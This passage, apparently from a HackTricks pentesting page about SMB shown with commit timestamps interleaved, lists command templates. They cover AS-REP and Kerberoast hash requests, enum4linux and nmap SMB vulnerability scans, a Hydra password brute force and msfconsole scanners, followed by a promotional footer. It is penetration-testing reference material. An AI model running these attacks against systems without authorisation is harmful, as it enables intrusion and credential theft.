GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
2023-10-16 17:42:43 +00:00
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
2021-09-25 16:33:43 +00:00
2021-09-13 15:41:00 +00:00
Entry_5:
Name: Hydra Brute Force
2021-09-27 17:04:25 +00:00
Description: Need User
2021-09-13 15:41:00 +00:00
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
2021-10-27 17:21:12 +00:00
Entry_6:
2022-07-01 12:57:23 +00:00
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
2021-10-27 17:21:12 +00:00
2021-08-12 13:30:40 +00:00
```
2022-04-28 16:01:33 +00:00
< details >
2024-01-02 18:28:27 +00:00
< summary > < strong > Learn AWS hacking from zero to hero with< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-02 18:28:27 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-10-02 19:15:35 +00:00
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-01-02 18:28:27 +00:00
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-23 15:34:31 +00:00
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-01-02 18:28:27 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >